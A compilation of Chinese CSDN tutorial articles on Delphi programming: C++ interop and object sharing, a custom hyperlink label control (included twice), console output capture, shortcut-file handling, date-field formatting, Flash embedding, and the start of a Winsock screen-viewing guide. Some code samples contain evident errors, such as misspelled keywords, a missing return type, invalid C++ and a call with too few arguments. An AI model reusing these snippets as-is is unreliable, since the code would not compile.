在Delphi与C++之间实现代码链接可采用静态链接或动态链接的方式。

1.静态链接方式

如果C++程序本身的代码量很小,而且无需担心与C运行库会有交互过程,一般可选用静态链接方式,即把Delphi与C++的目标文件(*.OBJ)链接成最终的可执行文件。具体的方法是使用{$L}编译指令,使Delphi编译器自动读取指定目标文件,说明如下:

function TestFunc:integer;stdcall;
{$L TestFunc.OBJ}

2.动态链接方式

如果C++代码已经相当全面或自成一个完整的子系统,代码量很大,或者用到了C运行库,在这种情况下,应该使用动态链接库(DLL)的方式。此时,在两种语言的源代码中应做如下说明:

在C++中:
int stdcall export TestFunc();
在Delphi中:
function TestFunc:integer; stdcall;
external ‘TestFunc.DLL’;

对象的共享

在C++与Delphi之间的对象共享主要体现在对象方法(Method)的共享方面,这种共享可分为两个层次:对象(Object)级共享与类(Class)级共享。要实现对象级共享,程序设计语言需具备两个前提条件:

能够定义指向由另一语言创建的对象的指针;

可以访问由指针确定的对象中的方法。

要实现类级的共享,则还需考虑:

能够创建由另一种语言定义的类的实例;

可以从堆中释放一个实例所占用的空间;

派生新的类。

以下介绍在Delphi与Borland C++之间实现对象共享的方法。

1.C++共享Delphi对象

要实现从C++调用Delphi对象,首先要在Delphi单元的接口部分以及C++的头文件中说明需要共享的对象的接口,在对象接口中定义该对象包含哪些属性与方法,并说明可供共享的部分。对象的共享,关键在于方法的共享。在Delphi语言中,要使一个对象可以被共享,可以把它说明为两个接口部分,暂称为"共享接口"与"实现接口"。其中共享接口指明对象中哪些方法可被另一种语言所共享;实现接口则继承共享接口,并且在单元实现部分针对实现接口中的方法定义具体的实现。要定义一个可供C++共享的Delphi对象,共享接口的说明应注意:

在Delphi程序里,要共享的方法必须被说明为抽象(abstract),而且虚拟(virtual );

在C++程序里,必须用关键字"virtual"及"=0"后缀,把从Delphi共享的方法说明成"pure virtual";

共享的对象方法必须在两种语言里都被说明成相同的调用方式,通常使用标准系统调用方式(stdcall)。

下面,举例说明这些规则,假设有这样的一个Delphi对象:
TTestObject=class
procedure Proc1(x:integer);
function Func1(x:integer):PChar;
procedure Proc2;
function Func2:integer;
end;

如果C++程序需要共享其中的方法Proc1、Func1,可把上述说明修改成以下形式:
STestObject=class
procedure Proc1(x:integer); virtual; abstract; stdcall;
function Func1(x:integer); virtual; abstract; stdcall;
end;
TTestObject=class(STestObject)
procedure Proc1(x:integer);
fuction Func1(x:integer):PChar;
procedure Proc2;
fuction Func2:integer;
end;

在C++程序中做如下对象原型说明:
class STestObject {
virtual void Proc1(int x)=0;
virtual char *Func1(int x)=0;
};

为了能在C++中成功地访问Delphi定义的类, Delphi接口说明时必须包含一个可共享的"制造函数(Factory Function)"CreateTestObject,该制造函数可被定义在动态链接库或目标文件(.OBJ)中,例如:

Library TestLib;
exports CreateTestObject;
function CreateTestObject:STestObject; stdcall;
begin
Result:=TTestObject.Create;
end;
…
end.

经过这样的处理,现在可在C++程序中使用这个由Delphi定义的对象,调用方式如下:
extern "C" STestObject stdcall *CreateTestObject();
void UseTestObject(void) {
STestObject *theTestObject=CreateTestObject();
theTestObject->Proc1(10);
Char *str=theTestObject->Func1(0);
}

当调用制造函数CreateTestObject时,实际上已经在Delphi一侧占用了一个对象实例的空间,C++程序在针对该对象的所有处理完成后必须考虑释放这一空间,具体的实现可在Delphi中定义一个类,如上述Proc1的共享方法Free,以此来完成这一任务:
STestObject=class
procedure Proc1(x:integer); virtual; abstract; stdcall;
function Func1(x:integer); virtual; abstract; stdcall;
procedure Free; virtual; abstract; stdcall;
end;
…
implementation
…
procedure TTestObject.Free;
begin
…
end;
…
end.

2.Delphi共享C++对象
通常,程序员会考虑使用Delphi来编制用户界面,所以Delphi代码调用C++代码似乎显得更加实际些。其实,Delphi共享C++对象的实现方法与上述C++共享Delphi对象非常相似。用同样的共享接口与实现接口说明方法来定义C++的类:

class STestObjedt {
virtual void Proc1(int x)=0;
virtual char *Func1(int x)=0;
};
class TTestObjedt :public STestObject {
void Proc1(int x);
char *Func1(int x);
void Proc2();
int Func2();
void Free();
};

然后实现这些方法。同样地,C++对象需要一个与之对应的制造函数,这里以DLL为例
STestObject stdcall export *CreateTestObject() {
return (STestObject *) new TTestObject.Create;
}

Delphi代码可以通过调用制造函数CreateTestObject,很容易地在C++中创建实例,获得指向该实例的指针值,并以这个指针值来调用对象中的共享方法。当然,在进行完该对象的相关处理后,千万不要忘了调用Free释放占用的空间。


CSDN_文档中心_在Delphi中编写控件的基本方法(1)

在Delphi中编写控件的基本方法(1)

[ 作者: 雷小园 添加时间: 2001-5-5 18:01:08 ]

来源：www.ccidnet.com

    作为Delphi程序员，要想进一步提高编程水平就必须掌握控件的编写方法，本篇文章将通过一个简单的例子来为初学者介绍编写控件的一些基本方法和模式。

    这个例子控件叫TLeiLabel，是在TLabel的基础上增加两个实用的功能：一是使文字具有立体形状，二是使文字具有超链接属性。下面就让我们一步步来实现这些功能。

    一、使文字具有立体形状
    首先定义类型T3DEffect和属性Style3D分别如下：

    T3DEffect=(Normal，Raised，Lowered， Shadowed)；

    property Style3D:T3DEffect read FStyle3D write SetStyle3D default Normal;

    再在private中定义变量：“FStyle3D:T3DEffect;”，并设置SetStyle3D()方法如下，这也是写方法的一般格式：

    procedure TLeiLabel.SetStyle3D(Value: T3DEffect);

     begin

     if FStyle3D ＜＞ value then

     begin

     FStyle3D := value;

     invalidate; //表示控件将重画

     end;

     end;

    另外对于带阴影的文字还要定义阴影的偏移量ShadeXOffSet和ShadeYOffSet：

    property ShadowXOffSet: integer read FXOffSet write SetFXOffSet default 5;

    property ShadowYOffSet: integer read FYOffSet write SetFYOffSet default -5;

    写方法SetFXOffSet()、SetFYOffSet()和上面的SetStyle3D()类似。

    要重画控件一般要重载Paint方法，此处只是重画文字，我们只需重载DoDrawText方法。

    DoDrawText的声明放在Protected中：

    procedure DoDrawText(var Rect: TRect; Flags: Longint); override;

    此处DoDrawText()根据四种类型（正常、凸起、凹进和阴影）分别画出不同的文字。

二、使文字具有超链接属性
    定义一个属性URL表示要链接的网址或Email地址。

    Property URL : String read FURL write SetURL;

    写方法SetURL如下：

    procedure TLeiLabel.SetURL(Value: String);

    Begin

    if FURL ＜＞ Value then FURL := Value ;

    if FURL ＜＞ '' then

    Cursor := crHandPoint;

    end;

    当点击此Label时要打开浏览器或收发邮件工具，这便要重载Click方法。

     Procedure Click; Override;

     procedure TLeiLabel.Click;


CSDN_文档中心_在Delphi中编写控件的基本方法

在Delphi中编写控件的基本方法

    作为Delphi程序员，要想进一步提高编程水平就必须掌握控件的编写方法，本篇文章将通过一个简单的例子来为初学者介绍编写控件的一些基本方法和模式。

    这个例子控件叫TLeiLabel，是在TLabel的基础上增加两个实用的功能：一是使文字具有立体形状，二是使文字具有超链接属性。下面就让我们一步步来实现这些功能。

    一、使文字具有立体形状
    首先定义类型T3DEffect和属性Style3D分别如下：

    T3DEffect=(Normal，Raised，Lowered， Shadowed)；

    property Style3D:T3DEffect read FStyle3D write SetStyle3D default Normal;

    再在private中定义变量：“FStyle3D:T3DEffect;”，并设置SetStyle3D()方法如下，这也是写方法的一般格式：

    procedure TLeiLabel.SetStyle3D(Value: T3DEffect);

     begin

     if FStyle3D ＜＞ value then

     begin

     FStyle3D := value;

     invalidate; //表示控件将重画

     end;

     end;

    另外对于带阴影的文字还要定义阴影的偏移量ShadeXOffSet和ShadeYOffSet：

    property ShadowXOffSet: integer read FXOffSet write SetFXOffSet default 5;

    property ShadowYOffSet: integer read FYOffSet write SetFYOffSet default -5;

    写方法SetFXOffSet()、SetFYOffSet()和上面的SetStyle3D()类似。

    要重画控件一般要重载Paint方法，此处只是重画文字，我们只需重载DoDrawText方法。

    DoDrawText的声明放在Protected中：

    procedure DoDrawText(var Rect: TRect; Flags: Longint); override;

    此处DoDrawText()根据四种类型（正常、凸起、凹进和阴影）分别画出不同的文字。

二、使文字具有超链接属性
    定义一个属性URL表示要链接的网址或Email地址。

    Property URL : String read FURL write SetURL;

    写方法SetURL如下：

    procedure TLeiLabel.SetURL(Value: String);

    Begin

    if FURL ＜＞ Value then FURL := Value ;

    if FURL ＜＞ '' then

    Cursor := crHandPoint;

    end;

    当点击此Label时要打开浏览器或收发邮件工具，这便要重载Click方法。

     Procedure Click; Override;

     procedure TLeiLabel.Click;

     var s: string;

     Begin

     Inherited Click;

     if FURL = '' then exit;

     if LowerCase(Copy(FURL,1,7)) = 'http://' then

     s := FURL

     else if Pos('@',FURL) ＜＞ 0 Then

     s := 'mailto:' + FURL

     else

     s := 'http://' + FURL;

     ShellExecute(Application.Handle, 'open', PChar(s), NIL, NIL, SW_SHOWNORMAL);

     end;

    一般的超链接当鼠标移入时文字的颜色发生变化。为此加上属性HoverColor，表示鼠标移入时文字的颜色。

    Property HoverColor : TColor Read FHoverColor Write SetHoverColor default clRed;

    还要定义两个接收Windows消息CM_MOUSEENTER和CM_MOUSELEAVE（鼠标移进和移出）的过程：

    Procedure CMMouseEnter(var Message: TMessage); message CM_MOUSEENTER;

    Procedure CMMouseLeave(var Message: TMessage); message CM_MOUSELEAVE;

    Procedure TLeiLabel.CMMouseEnter (Var Message: TMessage);

     begin

     If Enabled and Visible and getParentForm(Self).Active then

     begin

     FFontColor := Font.Color;

    //将文字的颜色保存起来

     Font.Color := FHoverColor;

    //改变文字颜色

     End;

     end;

    Procedure TLeiLabel.CMMouseLeave (Var Message: TMessage);

     begin

     Font.Color:=FFontColor;

    //恢复文字原来的颜色

     end;

    为设置属性的默认值，我们还需要重载构造Create()，注意，重载构造时必须首先调用祖先类的构造。重载构造Create()的程序如下：

     constructor TLeiLabel.Create(AOwner: TComponent);

     begin

     inherited Create(AOwner);

    //必须首先调用祖先类的构造

     FStyle3D := Normal;

     FXOffSet := 5;

     FYOffSet := -5;

     FHoverColor := clRed;

     end;

    最后，还必须为这个控件加上图标。我们可以用Delphi中的Image Editor来创建一个24×24的Bitmap位图，保存为一个DCR文件，文件名必须与控件的Pas文件名相同，位图名必须与控件名相同且全部大写。


CSDN_文档中心_在Delphi中捕获控制台程序的输出

本文实现了在Delphi中运行控制台程序，并将控制台程序的输出在Memo控件中显示出来。

工作中需要手工编译J2ME的程序，开始编写了一个批处理程序，但是感觉使用中非常繁琐，于是想用Delphi做一个集成编译工具，但是java的编译工具都是console程序，怎么捕获到console程序的输出，并显示在Memo中呢，查了网上的一些资料，反复测试，找到了一个实现的方法，希望对大家有帮助：

procedure TMainForm.RunDosInMemo(const DosApp: string; AMemo: TMemo);
const
{设置ReadBuffer的大小}
ReadBuffer = 2400;
var
Security: TSecurityAttributes;
ReadPipe, WritePipe: THandle;
start: TStartUpInfo;
ProcessInfo: TProcessInformation;
Buffer: PChar;
BytesRead: DWord;
Buf: string;
begin
with Security do
begin
nlength := SizeOf(TSecurityAttributes);
binherithandle := true;
lpsecuritydescriptor := nil;
end;
{创建一个命名管道用来捕获console程序的输出}
if Createpipe(ReadPipe, WritePipe, @Security, 0) then
begin
Buffer := AllocMem(ReadBuffer + 1);
FillChar(Start, Sizeof(Start), #0)
{设置console程序的启动属性}
with start do
begin
cb := SizeOf(start);
start.lpReserved := nil;
lpDesktop := nil;
lpTitle := nil;
dwX := 0;
dwY := 0;
dwXSize := 0;
dwYSize := 0;
dwXCountChars := 0;
dwYCountChars := 0;
dwFillAttribute := 0;
cbReserved2 := 0;
lpReserved2 := nil;
hStdOutput := WritePipe; //将输出定向到我们建立的WritePipe上
hStdInput := ReadPipe; //将输入定向到我们建立的ReadPipe上
hStdError := WritePipe;//将错误输出定向到我们建立的WritePipe上
dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
wShowWindow := SW_HIDE;//设置窗口为hide
end;

try
{创建一个子进程，运行console程序}
if CreateProcess(nil, PChar(DosApp), @Security, @Security, true,
NORMAL_PRIORITY_CLASS,
nil, nil, start, ProcessInfo) then
begin
{等待进程运行结束}
WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
{关闭输出...开始没有关掉它，结果如果没有输出的话，程序死掉了。}
CloseHandle(WritePipe);
Buf := '';
{读取console程序的输出}
repeat
BytesRead := 0;
ReadFile(ReadPipe, Buffer[0], ReadBuffer, BytesRead, nil);
Buffer[BytesRead] := #0;
OemToAnsi(Buffer, Buffer);
Buf := Buf + string(Buffer);
until (BytesRead < ReadBuffer);

SendDebug(Buf);
{按照换行符进行分割，并在Memo中显示出来}
while pos(#10, Buf) > 0 do
begin
AMemo.Lines.Add(Copy(Buf, 1, pos(#10, Buf) - 1));
Delete(Buf, 1, pos(#10, Buf));
end;
end;
finally
FreeMem(Buffer);
CloseHandle(ProcessInfo.hProcess);
CloseHandle(ProcessInfo.hThread);
CloseHandle(ReadPipe);
end;
end;
end;


CSDN_文档中心_在Delphi中操作快捷方式

在Delphi中操作快捷方式

快捷方式减少了系统的重复文件，是快速启动程序或打开文件或文件夹的方法，快捷方式对经常使用的程序、文件和文件夹非常有用。在Windows系统中，充斥着大量的快捷方式，那么如何操作这些快捷方式就是一个很头疼的问题，在Windows的编程中，无疑会经常碰到操作快捷方式文件的问题，例如为程序创建快捷方式，修改程序的快捷方式等等。为了操作快捷方式，本人封装了两个函数，而且给出了一个详细的例子。

1. 快捷方式文件的基本信息

快捷方式包含的信息有：目标文件名、程序运行时的参数、快捷键、运行窗口的状态、描述、工作目录（起始位置）、图标文件名和图标索引等等。我们在操作快捷方式时，就要考虑到这些信息。

2. 数据结构

为了方便快捷地进行操作，有必要定义一个数据结构，以便在函数调用时传递必要的信息：

const

CCH_MAXNAME=255; //描述的缓冲区的大小

LNK_RUN_MIN=7; //运行时最小化

LNK_RUN_MAX=3; //运行是最大化

LNK_RUN_NORMAL=1; //正常窗口

type LINK_FILE_INFO=record

FileName:array[0..MAX_PATH] of char; //目标文件名

WorkDirectory:array[0..MAX_PATH] of char; //工作目录或者起始目录

IconLocation:array[0..MAX_PATH] of char; //图标文件名

IconIndex:integer; //图标索引

Arguments:array[0..MAX_PATH] of char; //程序运行的参数

Description:array[0..CCH_MAXNAME] of char; //快捷方式的描述

ItemIDList:PItemIDList; //只供读取使用

RelativePath:array[0..255] of char; //相对目录，只能设置

ShowState:integer; //运行时的窗口状态

HotKey:word; //快捷键

end;

3. 函数

1)取得快捷方式或者修改信息函数LinkFileInfo

要注意的是，需要在Uses部分添加comobj,activex,shlobj这三个单元，但是在本文例子中因为要转化热键为文本和使用Windows的API ShellExecute，所以还要添加Menus 和ShellApi单元。同时对异常处理不够完美，在使用时大家可以根据实际情况进行修改。

说明：函数有三个参数，其中第一个参数为要进行处理的快捷方式的文件名，第二个为LINK_FILE_INFO的结构，用于接收信息或者输入信息对快捷方式进行修改，第三个参数表明是读取快捷方式的信息还是设置快捷方式的信息。函数成功时返回true，否则为false。

原型：

function LinkFileInfo(const lnkFileName:string;var info:LINK_FILE_INFO;const bSet:boolean):boolean;

var

hr:hresult;

psl:IShelllink;

wfd:win32_find_data;

ppf:IPersistFile;

lpw:pwidechar;

buf:pwidechar;

begin

result:=false;

getmem(buf,MAX_PATH);

try

if SUCCEEDED(CoInitialize(nil)) then

if (succeeded(cocreateinstance(clsid_shelllink,nil,clsctx_inproc_server,IID_IShellLinkA,psl))) then

begin

hr:=psl.QueryInterface(iPersistFile,ppf);

if succeeded(hr) then

begin

lpw:=stringtowidechar(lnkfilename,buf,MAX_PATH);

hr := ppf.Load(lpw, STGM_READ);

if succeeded(hr) then

begin

hr := psl.Resolve(0, SLR_NO_UI);

if succeeded(hr) then

begin

if bSet then

begin

psl.SetArguments(info.Arguments);

psl.SetDescription(info.Description);

psl.SetHotkey(info.HotKey);

psl.SetIconLocation(info.IconLocation,info.IconIndex);

psl.SetIDList(info.ItemIDList);

psl.SetPath(info.FileName);

psl.SetShowCmd(info.ShowState);

psl.SetRelativePath(info.RelativePath,0);

psl.SetWorkingDirectory(info.WorkDirectory);

result:=succeeded(psl.Resolve(0,SLR_UPDATE));

end

else

begin

psl.GetPath(info.FileName,MAX_PATH, wfd,SLGP_SHORTPATH );

psl.GetIconLocation(info.IconLocation,MAX_PATH,info.IconIndex);

psl.GetWorkingDirectory(info.WorkDirectory,MAX_PATH);

psl.GetDescription(info.Description,CCH_MAXNAME);

psl.GetArguments(info.Arguments,MAX_PATH);

psl.GetHotkey(info.HotKey);

psl.GetIDList(info.ItemIDList);

psl.GetShowCmd(info.ShowState);

result:=true;

end;

end;

end;

end;

end;

finally

freemem(buf);

end;

end;

2)建立快捷方式函数CreateLinkFile

说明：第一个参数为一个LINK_FILE_INFO结构，你必须进行初始化，第二个参数为要保存快捷方式的文件名，默认为相同目录下的同名的LNK文件。

原型：

function CreateLinkFile(const info:LINK_FILE_INFO;const DestFileName:string=''):boolean;

var

anobj:IUnknown;

shlink:IShellLink;

pFile:IPersistFile;

wFileName:widestring;

begin

wFileName:=destfilename;

anobj:=CreateComObject(CLSID_SHELLLINK);

shlink:=anobj as IShellLink;

pFile:=anobj as IPersistFile;

shlink.SetPath(info.FileName);

shlink.SetWorkingDirectory(info.WorkDirectory);

shlink.SetDescription(info.Description);

shlink.SetArguments(info.Arguments);

shlink.SetIconLocation(info.IconLocation,info.IconIndex);

shlink.SetHotkey(info.HotKey);

shlink.SetShowCmd(info.ShowState);

shlink.SetRelativePath(info.RelativePath,0);

if DestFileName='' then

wFileName:=ChangeFileExt(info.FileName,'lnk');

result:=succeeded(pFile.Save(pwchar(wFileName),false));

end;

3)函数ShortCutToString用于将快捷方式中的热键转化成字符串，以便于显示，Delphi本身没有提供将相关的函数。

function ShortCutToString(const HotKey:word):string;

var

shift:tshiftstate;

begin

shift:=[];

if ((wordrec(HotKey).hi shr 0) and 1)<>0 then

include(shift,ssshift);

if ((wordrec(HotKey).hi shr 1) and 1)<>0 then

include(shift,ssctrl);

if ((wordrec(HotKey).hi shr 2) and 1)<>0 then

include(shift,ssalt);

result:=shortcuttotext(shortcut(wordrec(hotkey).lo,shift));

end;

4. 调用实例：

新建一个Application，在窗体上放置一个OpenDialog，三个Button，一个Edit，设置OpenDialog的属性Option部分的ofNoDereferenceLinks为true，Filter属性为lnk file|*.lnk；然后为Button1、Button2和Button3分别添加如下代码（注意修改相应的文件名称和路径）：

procedure TForm1.Button1Click(Sender: TObject);

var

info:LINK_FILE_INFO;

begin

if opendialog1.Execute then

if LinkFileInfo(opendialog1.FileName,info) then

begin showmessage('FileName:'+info.filename+#13+'Description:'+info.Description+#13+'IconFilename:'+info.IconLocation+','+inttostr(info.IconIndex)+#13+'WorkDir:'+info.WorkDirectory+#13+'Arguments:'+info.Arguments+#13+'ShorCuts:'+shortcuttostring(info.HotKey)+#13+'WindowState:'+inttostr(info.ShowState)+#13+'ItemIDList:('+inttostr(info.itemidlist.mkid.cb)+',('+inttostr(info.itemidlist.mkid.abid[0])+'))');

info.WorkDirectory:=edit1.text;

linkfileinfo(opendialog1.filename,info,true);

end;

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

shellexecute(handle,'open','start.exe','c:\windows\desktop\aaa.lnk','',sw_hide);

end;

procedure TForm1.Button3Click(Sender: TObject);

var

info:LINK_FILE_INFO;

begin

strpcopy(info.filename,paramstr(0)); //快捷方式的目标文件名

info.Arguments:='/paramstr'; //设置程序运行的参数

info.Description:='Test For Link File'; //描述

info.HotKey:=0; //没有热键

info.IconIndex:=0; //第一个图标

info.IconLocation:=''; //设置图标文件为本身

info.RelativePath:='windows'; //相对路径

info.ShowState:=LNK_RUN_MAX; //显示最大化窗口

info.ItemIDList:=nil; //保留未用，可以不设置

strpcopy(info.WorkDirectory,extractfilepath(paramstr(0))); //设置工作目录

createLinkFile(info,'c:\windows\desktop\project.lnk'); //建立快捷方式

end;

5. 快捷方式的运行

有两种方法：

第一种比较简单，直接调用即可，但是受到一些制约—系统中必须存在start.exe文件：

ShellExecute(handle,'open','start.exe','c:\windows\desktop\aaa.lnk','',sw_hide);

第二种就是取得LNK的信息之后用ShellExecute进行调用！为简单起见，不给出详细的例子了。

以上程序在Delphi 5.0+Windows 98下通过。如果有什么意见和建议，欢迎来信讨论：

E_Mail:Kingron@163.net


CSDN_文档中心_在Delphi中处理数据库日期型字段的显示与输入

---- 在使用Delphi进行数据库设计时，不可避免的会涉及到日期型字段的输入问题。
不过与Microsoft的Access 97中文版等相比，Delphi本身提供的日期型字段的显示和输入方式
并不适合中国人的习惯。因此对于日期型字段的处理，大家提出了不少解决方法，但是处理结果
在显示和输入上并不统一，例如显示时可以实现“yyyy年mm月dd日”的格式，但是在输入时还是
要按照国外的习惯用“yyyy-mm-dd”的形式进行输入；而使用TdateTimePicker进行选择输入总
嫌麻烦；有些方法还要修改系统的一些设置属性，因而在进行软件发布时要将系统的属性进行调整；
采用第三方控件的方式则还要将控件打包发布。而且对于常用到的“1999年”、“1999年11月”等
日期格式，没有进行相应的处理。这里我根据自己的实践，利用TField的OnGetText和OnSetText两
个事件的结合，以期达到日期型字段的显示和输入的统一，并可以处理我们常见的“1999年”、
“1999年11月”等日期形式的显示和输入，全部利用Delphi提供的事件实现，不需要修改任何系统设
置。进行相应的扩展后，还可以用于时间的显示和输入，如“hh点mm分”等。同时，由于是直接控制
TField的事件，所以不论使用TDBGrid还是用TDBEdit，都可以正常的进行统一处理，而不必分开考虑
。采用类似的方法，还可以应用于非数据库应用程序中的日期输入。

---- 1 基本思想

---- 利用TField的EditMask属性，将其同时作为显示和输入的掩码，在TField的OnGetText事件中处
理日期字段的显示，而在OnSetText事件中处理输入值的有效性判断。为了重复利用代码，将OnGetText
和OnSetText的事件处理过程调用的过程和函数放到一个独立的单元中。

---- 2 具体实现代码

{显示和判断单元}
unit DBDateEditMaskTrans;
interface
uses
Windows, SysUtils, Controls, Forms,Db;

{日期型字段显示过程,在OnGetText事件中调用}
procedure DateFieldGetText(Sender: TField;
var Text: String);

{日期型字段输入判断函数,在OnSetText事件中调用}
function DateFieldSetText(Sender: TField;
const Text: String):Boolean;

implementation

procedure DateFieldGetText(Sender: TField;
var Text: String);
var
dDate:TDate;
wYear,wMonth,wDay:Word;
aryTestYMD:Array [1..2] of Char
;{测试输入掩码用临时数组}
iYMD:Integer;
begin
dDate:=Sender.AsDateTime;
DecodeDate(dDate,wYear,wMonth,wDay);

{测试输入掩码所包含的格式.}
aryTestYMD:='年';
if StrScan(PChar(Sender.EditMask),
aryTestYMD[1])< >nil then
iYMD:=1;
aryTestYMD:='月';
if StrScan(PChar(Sender.EditMask),
aryTestYMD[1])< >nil then
iYMD:=2;
aryTestYMD:='日';
if StrScan(PChar(Sender.EditMask),
aryTestYMD[1])< >nil then
iYMD:=3;

case iYMD of
1:{输入掩码为:”yyyy年”的格式.}
Text:=IntToStr(wYear)+'年';
2: {输入掩码为:”yyyy年mm月”的格式.}
Text:=IntToStr(wYear)+'年'+IntToStr(wMonth)+'月';
3: {输入掩码为:”yyyy年mm月dd日”的格式.}
Text:=IntToStr(wYear)+'年'+IntToStr(wMonth)+'月'
+IntToStr(wDay)+'日';
else {默认为:”yyyy年mm月dd日”的格式.}
Text:=IntToStr(wYear)+'年'+IntToStr(wMonth)+'月'
+IntToStr(wDay)+'日';
end;

end;

function DateFieldSetText(Sender: TField;
const Text: String):Boolean;
var
dDate:TDate;
sYear,sMonth,sDay:String;
aryTestYMD:Array [1..2] of Char;
iYMD:Integer;
begin
{获得用户输入的日期}
sYear:=Copy(Text,1,4);
sMonth:=Copy(Text,7,2);
SDay:=Copy(Text,11,2);

{测试输入掩码所包含的格式.}
aryTestYMD:='年';
if StrScan(PChar(Sender.EditMask),
aryTestYMD[1])< >nil then
iYMD:=1;
aryTestYMD:='月';
if StrScan(PChar(Sender.EditMask),
aryTestYMD[1])< >nil then
iYMD:=2;
aryTestYMD:='日';
if StrScan(PChar(Sender.EditMask),
aryTestYMD[1])< >nil then
iYMD:=3;

{利用Try…Except进行输入的日期转换}
try
begin
case iYMD of
1: {输入掩码为:”yyyy年”的格式.}
begin
dDate:=StrToDate(sYear+'-01-01')
;{中文Windows默认的日期格式为:yyyy-mm-dd.下同}
Sender.AsDateTime:=dDate;
end;
2: {输入掩码为:”yyyy年mm月”的格式.}
begin
dDate:=StrToDate(sYear+'-'+sMonth+'-01');
Sender.AsDateTime:=dDate;
end;
3: {输入掩码为:”yyyy年mm月dd日”的格式.}
begin
dDate:=StrToDate(sYear+'-'+sMonth+'-'+sDay);
Sender.AsDateTime:=dDate;
end;
else {默认为:”yyyy年mm月dd日”的格式.}
begin
dDate:=StrToDate(sYear+'-'+sMonth+'-'+sDay);
Sender.AsDateTime:=dDate;
end;
end;
DateFieldSetText:=True;
end;
except
{日期转换出错}
begin
Application.MessageBox(PChar(Text+'不是有效的日期!'),
'错误',mb_Ok+mb_IconError);
DateFieldSetText:=False;
end;
end;

end;

end.


CSDN_文档中心_在Delphi中处理数据库日期型字段的显示与输入===>>>主窗口单元

{主窗口单元}
unit Main;

interface

uses
……{略去其他内容}
procedure Table1BirthdayGetText(Sender: TField;
var Text: String;DisplayText: Boolean);
procedure Table1BirthdaySetText(Sender: TField;
const Text: String);
private
{ Private declarations }
public
{ Public declarations }
……{略}
implementation

{将自定义的单元包含进来}
uses DBDateEditMaskTrans;

{$R *.DFM}
……{其他过程略}
procedure TForm1.FormActivate(Sender: TObject);
{设置一个日期型字段的输入掩码，
可以放到TField字段定义中。}
begin
Table1.FieldByName('Birthday').EditMask:=
'9999\年99\月99\日;1;_';
end;

procedure TForm1.Table1BirthdayGetText(Sender:
TField; var Text: String;DisplayText: Boolean);
begin
DateFieldGetText(Sender,Text);
end;

procedure TForm1.Table1BirthdaySetText(Sender:
TField; const Text: String);
begin
if DateFieldSetText(Sender,Text)=False then
Abort; {转换不成功,日期非法}
end;

end.


CSDN_文档中心_在Delphi中调用Flash

-----------------------文 老猫

----本文参考了Delphi世界之大富翁论坛上阿蒙和浦青锋两位大侠的
意见。
----原来我并不打算把这种问题放在网上，我以为大家都会知道。后
来好友流云建议说，她们班好多人都学Flash，很想知道如何在Delphi
中调用Flash。我就讲了一下，并顺便把它放在了主页上。
----如果你的计算机已装了Flash，那就非常简单。如果还没装，那么
光在网上下载flash 插件也可以，然后启动你的Delphi,再Component
菜单项选Import ActiveX Control...，接下来在Import ActiveX
Control项就会有Sockwave Flash (版本号)这项出现，选中它再按
Install...按钮。
----现在你的Component面板有ShockwaveFlash控件了吧，它的使用方
法和其他控件没有大的差别，做一个简单示例。
----新建一个Project,在Form上放一个button和一个opendialog 控
件，再放上ShockwaveFlash控件。opendialog 用于打开Flash文件(*.
swf)，button的 onclick 事件如下：
begin
----opendialog1.execute;
----swf:=opendialog1.filename;
----shockwaveflash1.Movie:=swf;
----shockwaveflash1.play;
end;
----编译通过，你就可以用按钮打开对话框，选择*.swf文件就可以
了。


CSDN_文档中心_在Delphi中读取另一台计算机的屏幕

在Delphi中读取局域网内另一台计算机的屏幕
路方　2000-10-25 09:50:30

[摘要] 编写过Winsock应用程序的程序员都知道，编写Winsock应用程序绝不是一件轻而易举的事，您不得直接与复杂的Winsock中的Api打交道，幸运的是，Delphi4中的Tclientsocket 和Tserversocket封装了Windows中有关的Api,大为简化了对Winsock的访问，使得我们能够非常轻易的编写Winsock应用程序。本文通过一个读取局域网内另一台计算机屏幕的示例，来介绍如何用Delphi编写Winsock应用程序。

在单位做过网管的人都可能有这样的经历，通过电话“遥控”指导别人操作是一件多么心烦的事，而且我又是一个懒人，不想天天为一点小事从楼顶跑到楼下，怎么办呢？编一个读取另一台计算机屏幕的程序怎么样？不就直观多了。在局域网内进行通信，最好的选择当然是用Winsock，编写过Winsock应用程序的程序员都知道，编写Winsock应用程序绝不是一件轻而易举的事，您不得直接与复杂的Winsock中的Api打交道，幸运的是，Delphi4中的Tclientsocket 和Tserversocket封装了Windows中有关的Api,大为简化了对Winsock的访问，使得我们能够非常轻易的编写Winsock应用程序。尽管如此，最好还是对Winsock有一些了解，在这里我就不再赘述，您可以找些书自己看看。
通过网络传输数据，您至少需要一对Socket，其中一个在客户端，另一个在服务端，一旦客户端与服务端的socket建立起连接，就可以相互通信了，用Socket建立连接是建立在Tcp/ip基础上的，同时也支持ipx/spx等相关协议。在Delphi中 分别用Tclientsocket 和Tserversocket来操纵客户端与服务端Socket的连接和通信。要说明的是，这两个元件用于管理服务器与客户的连接，本身并不是Socket对象，操纵Socket对象的是TcustomwinSocket，如Tclientwinsocket、 Tserverclientwinsocket、Tserverwinsocket。
一、Tclientsocket元件：
把一个Tclientsocket加到Form上，应用程序就变为一个Tcp/ip客户，就可以用Tclientsocket来操纵客户端的Socket对象。
要建立与服务器的连接，应先指定要连接的服务器。指定服务器有两种方式，一种是设置Host属性指定服务器的主机名，如http://www.inprise.com或局域网中的机器名，这种方式直观，但要进行域名解析，速度会稍慢一些；另一种方法是设置Adress属性指定主机的ip地址，如130.0.1.1。这两种方法是等价的，但如果同时设置了Host和Adress，Delphi将只使用Host属性。
然后要指定连接服务器的端口号，这里也有两种方式，一是设置Service使用默认端口号，一是直接设置Port端口号，在1024以下的端口号中，很多都已经分配出去了，如FTP的端口为20和21，SMTP的端口是25，WEB服务器的端口为80等，为防止无意间的冲突，建议在编制自已的应用程序时，最好将Port设为1024以上。如果同时设置了Service和port，Delphi将使用Service默认的端口。
指定好服务器和端口号后，调用open方法或将Active属性设为True，客户端的Socket就会向服务端的Socket提出连接请求，如果此时服务端处于监听状态，就会自动接受请求建立连接，建立连接时，会触发其Onconnet事件。需要断开连接时，只需要调用close方法或将Active属性设为False，此时会触发ondisconnet事件。
二、Tserversocket元件：
同Tclientsocket一样，建造一个服务器，只需要将一个Tserversock元件放在Form即可。
